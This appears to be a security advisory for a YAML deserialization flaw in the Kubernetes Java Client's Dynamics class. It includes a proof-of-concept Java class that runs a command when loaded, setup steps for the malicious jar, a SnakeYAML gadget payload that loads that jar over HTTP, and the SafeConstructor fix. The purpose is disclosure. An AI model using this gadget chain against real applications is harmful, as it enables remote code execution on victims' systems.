9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.002 Low
EPSS
Percentile
58.2%
If the io.kubernetes.client.util.generic.dynamic.Dynamics
is used to deserialize a DynamicKubernetesObject
from untrusted YAML, an attacker can achieve code execution inside of the JVM.
Since this is a part of the public API, down stream consumers can be using this API in a way that leaves them vulnerable. I have found no users of this class on GitHub outside of this projectโs unit tests. But that doesnโt mean there are no users of this API. Someone built it for a reason, right?
Kubernettes Java Client version 17.0.0
package org.jlleitschuh.sandbox;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class ScriptEngineFactoryRCE implements ScriptEngineFactory {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec("open -a Calculator");
p.waitFor();
} catch (IOException | InterruptedException e) {
throw new RuntimeException(e);
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
The jar file must contain a file /META-INF/services/javax.script.ScriptEngineFactory
with the contents org.jlleitschuh.sandbox.ScriptEngineFactoryRCE # Our RCE Payload
Host this jar file from a local serverโs root path.
Then call the Dynamics
yaml parsing APIs with the following payload:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
The SnakeYAML parser should be instantiated with the argument new SafeConstructor()
in order to not be vulnerable to arbitrary deserialization.
If this Dynamics class is used to parse untrusted YAML, an attacker can achieve remote code execution
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.002 Low
EPSS
Percentile
58.2%